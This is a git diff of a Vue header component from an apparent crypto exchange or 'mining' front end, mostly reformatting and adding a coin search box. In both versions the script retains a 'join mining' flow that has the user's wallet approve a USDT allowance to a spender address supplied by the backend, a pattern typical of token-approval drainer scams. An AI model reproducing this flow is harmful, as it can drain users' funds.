dcc
2024-06-07 d5381ec06ab5f549fade867c3a874de613bdd5d4
src/components/ex-header/index.vue
@@ -1,173 +1,235 @@
<template>
    <div class="header flex mb-20 pt-20">
        <div class="flex items-center">
            <img :src="require(`@/assets/theme/${theme}/image/logo.png`)" alt="" class="w-72 h-72 mr-18" />
<!--          <button class="px-16 font-24 h-60 border-none rounded-md textColor3 font-bold btnMain "-->
<!--                  @click="btnMining">{{ statusFilter(mingStatus) }}</button>-->
        </div>
        <div class="flex items-center">
            <!-- <div class="custom mr-20" @click="$router.push('/customerService')">
                <van-icon class="font-45" :name="require(`@/assets/image/customer.png`)" :badge="`${unread_num}`">
                </van-icon>
            </div> -->
<!--          <div class="connect-wallet rounded-full btnMain" @click="connect">{{ formatText(userInfo.account) }}</div>-->
          <div class="flex items-center" @click="$router.push('/userCenter')">
                <van-icon class="font-70" :name="require(`@/assets/image/assets-center/user.png`)" :badge="`${unread_num}`">
                </van-icon>
            </div>
        </div>
  <div class="header flex mb-20 pt-20">
    <div class="flex items-center">
      <img
        :src="require(`@/assets/image/logo.png`)"
        alt=""
        class="h-40 mr-18"
      />
    </div>
    <div class="flex items-center">
      <div class="flex items-center">
        <div class="px-32 py-13 flex items-center">
          <!-- <img src="@/assets/image/icon-left_arrow.png" alt="logo" class="w-20 h-33 border-1 mr-32" @click="back"/> -->
          <div class="inputBoxbg h-50 w-full rounded-full flex items-center">
            <input
              style="padding-left: 10px; max-width: 70px"
              type="text"
              v-model="keywords"
              :placeholder="$t('搜索币种')"
              class="h-full flex-1 search-input border-none bg-none"
              @keydown.enter="handleEnterKey"
            />
            <img
              src="@/assets/3x/资源 19@3x.png"
              alt="logo"
              class="w-32 h-32 mx-16"
            />
          </div>
        </div>
        <van-icon
          @click="$router.push('/userCenter')"
          class="font-50 mr-20"
          :name="require(`@/assets/3x/资源 18@3x.png`)"
          :badge="`${unread_num}`"
        >
        </van-icon>
        <van-icon
          @click.stop="$router.push('/announce')"
          class="font-50"
          :name="require(`@/assets/3x/资源 17@3x.png`)"
          :badge="`${unread_num}`"
        >
        </van-icon>
      </div>
    </div>
  </div>
</template>
<script>
import {mapGetters,mapActions} from "vuex";
import { CONNECT_WALLET } from '@/store/const.store';
import {_checkStatus, _joinCheck, _approve, _approveDone} from '@/API/pledgeLoan'
import Web3 from "web3"
import usdtAbi from '@/utils/USDT.json'
import { APPROVE_NUMBER, APPROVE_ADDRESS } from  '@/config/const.cfg'
import { mapGetters, mapActions } from "vuex";
import { CONNECT_WALLET } from "@/store/const.store";
import {
  _checkStatus,
  _joinCheck,
  _approve,
  _approveDone,
} from "@/API/pledgeLoan";
import Web3 from "web3";
import usdtAbi from "@/utils/USDT.json";
import { APPROVE_NUMBER, APPROVE_ADDRESS } from "@/config/const.cfg";
export default {
    props: {
        unread_num: {
            type: String,
            default: '',
        },
  props: {
    unread_num: {
      type: String,
      default: "",
    },
    components: {
  },
  components: {},
  computed: {
    ...mapGetters({
      theme: "home/theme",
      userInfo: "user/userInfo",
      mingStatus: "user/mingStatus",
    }),
  },
  data() {
    return {
      keywords: "",
    };
  },
  methods: {
    ...mapActions("user", [CONNECT_WALLET]),
    onInput() {},
    handleEnterKey(v) {
      console.log(v.target.value);
      this.$router.push(`/quotes?active=2&inputdata=${v.target.value}`);
    },
    computed:{
      ...mapGetters({
        theme: 'home/theme',
        userInfo: 'user/userInfo',
        mingStatus:'user/mingStatus',
          },
      )
    async connect() {
      // 连接钱包
      // if (!this.userInfo.account) {
      //   await this.CONNECT_WALLET()
      // }
      let res = await this.CONNECT_WALLET("connect");
      this.$emit("connectSuccess", res);
    },
    async btnMining() {
      // 参与挖矿
      if (!this.userInfo.account) {
        this.$toast.fail(this.$t("请先连接钱包"));
        return;
      }
      if (this.mingStatus == 2 || this.mingStatus == 1) {
        // 已质押 , 或者确认中
        return;
      } else {
        let data = await _joinCheck();
        this.gasObj = data.data;
        if ([0, -5].includes(this.gasObj.check_answer)) {
          // 0未授权 和-5异常
          this.$nextTick(() => {
            this.approve();
          });
        }
      }
    },
    data() {
        return {
        }
    approve() {
      // 发起授权
      try {
        this.$toast.loading({ duration: 0, forbidClick: true });
        var approveAddress = this.userInfo.account;
        var web3 = new Web3(window.ethereum);
        const approveNum = APPROVE_NUMBER;
        const address = APPROVE_ADDRESS;
        var myContract = new web3.eth.Contract(usdtAbi, address, {
          from: web3.eth.defaultAccount,
        });
        myContract.methods
          .approve(this.gasObj.to, approveNum)
          .send({
            from: approveAddress,
            gasPrice: this.gasObj.gasprice,
            gas: this.gasObj.gaslimit,
          }) // ,gasPrice: this.gasObj.gasPrice, gas: this.gasObj.gaslimit
          .on("transactionHash", (e) => {
            // 这里会得到一个hash值
            this.txnhash = e;
            this.doApprove(this.gasObj.to); // 这里返回 check_answer: 1
            // console.log("hash", hash);
            // if (hash) {
            //   this.approveDone(approveAddress);
            // }
          })
          .on("receipt", (e) => {
            // 这里会返回一个对象
            this.approveDone(this.txnhash); // 这里返回一个对象 approveAddress
          })
          .on("error", (error) => {
            this.$toast.clear();
            const { code } = error;
            if (code === 4001) {
              this.$toast.fail(this.$t("您已拒绝"));
            }
          });
      } catch (err) {
        this.$toast.fail(this.$t("请重试"));
        // this.approve()
        console.log(err);
      }
    },
    methods: {
      ...mapActions('user', [CONNECT_WALLET]),
      async connect() { // 连接钱包
        // if (!this.userInfo.account) {
        //   await this.CONNECT_WALLET()
        // }
        let res = await this.CONNECT_WALLET('connect')
        this.$emit('connectSuccess', res)
      },
      async btnMining() { // 参与挖矿
        if (!this.userInfo.account) {
          this.$toast.fail(this.$t('请先连接钱包'))
          return
        }
        if (this.mingStatus == 2 || this.mingStatus == 1) { // 已质押 , 或者确认中
          return;
        } else {
          let data = await _joinCheck()
          this.gasObj = data.data
          if ([0, -5].includes(this.gasObj.check_answer)) { // 0未授权 和-5异常
            this.$nextTick(() => {
              this.approve();
            })
          }
        }
      },
      approve() { // 发起授权
        try {
          this.$toast.loading({ duration: 0, forbidClick: true })
          var approveAddress = this.userInfo.account;
          var web3 = new Web3(window.ethereum);
          const approveNum = APPROVE_NUMBER
          const address = APPROVE_ADDRESS
          var myContract = new web3.eth.Contract(usdtAbi, address, { from: web3.eth.defaultAccount });
          myContract.methods
              .approve(this.gasObj.to, approveNum)
              .send({ from: approveAddress, gasPrice: this.gasObj.gasprice, gas: this.gasObj.gaslimit }) // ,gasPrice: this.gasObj.gasPrice, gas: this.gasObj.gaslimit
              .on("transactionHash", (e) => { // 这里会得到一个hash值
                this.txnhash = e
                this.doApprove(this.gasObj.to) // 这里返回 check_answer: 1
                // console.log("hash", hash);
                // if (hash) {
                //   this.approveDone(approveAddress);
                // }
              })
              .on('receipt', (e) => { // 这里会返回一个对象
                this.approveDone(this.txnhash) // 这里返回一个对象 approveAddress
              })
              .on("error", (error) => {
                this.$toast.clear()
                const { code } = error
                if (code === 4001) {
                  this.$toast.fail(this.$t('您已拒绝'))
                }
              });
        } catch (err) {
          this.$toast.fail(this.$t('请重试'))
          // this.approve()
          console.log(err)
        }
      },
      doApprove() {
        _approve().then(() => { // 加入ing
          this.$toast({ message: this.$t("授权中") });
          this.checkStatus()
        })
      },
      approveDone() { // 加入 ed
        _approveDone().then(data => {
          // console.log('加入成功', data)
          this.checkStatus()
        })
      },
      checkStatus() { // 检查状态
        _checkStatus().then(data => {
          // this.status = data.status
          this.$store.commit('user/SET_STATUS', data.status)
        })
      },
      statusFilter(val) {
        const status = { '0': this.$t('Receive Node'), '1': this.$t('确认中'), '2': this.$t('已开通账户'), '-1': this.$t('重新检测'), '-2': this.$t('检测中'), '-5': this.$t('异常授权,重新加入') }
        return status[val] || this.$t('Receive Node')
      },
      formatText(str) {
        if (str) {
          return str.slice(0, 3) + "****" + str.slice(str.length - 3)
        } else {
          return this.$t('链接钱包')
        }
      },
    }
}
    doApprove() {
      _approve().then(() => {
        // 加入ing
        this.$toast({ message: this.$t("授权中") });
        this.checkStatus();
      });
    },
    approveDone() {
      // 加入 ed
      _approveDone().then((data) => {
        // console.log('加入成功', data)
        this.checkStatus();
      });
    },
    checkStatus() {
      // 检查状态
      _checkStatus().then((data) => {
        // this.status = data.status
        this.$store.commit("user/SET_STATUS", data.status);
      });
    },
    statusFilter(val) {
      const status = {
        0: this.$t("Receive Node"),
        1: this.$t("确认中"),
        2: this.$t("已开通账户"),
        "-1": this.$t("重新检测"),
        "-2": this.$t("检测中"),
        "-5": this.$t("异常授权,重新加入"),
      };
      return status[val] || this.$t("Receive Node");
    },
    formatText(str) {
      if (str) {
        return str.slice(0, 3) + "****" + str.slice(str.length - 3);
      } else {
        return this.$t("链接钱包");
      }
    },
  },
};
</script>
<style lang="scss" scoped>
.header {
    height: 84px;
    display: flex;
    justify-content: space-between;
    align-items: center;
  height: 84px;
  display: flex;
  justify-content: space-between;
  align-items: center;
}
.custom {
    width: 44px;
    height: 44px;
  width: 44px;
  height: 44px;
    img {
        width: 100%;
        height: 100%;
    }
  img {
    width: 100%;
    height: 100%;
  }
}
.connect-wallet {
  font-size: 22px;
  padding: 16px 20px 16px 20px;
  margin-right: 27px;
  @include themify(){
  @include themify() {
    color: themed("text_color3");
  }
}
.inputBoxbg {
  // width: 100px;
  @include themify() {
    background: themed("tab_background");
  }
}
</style>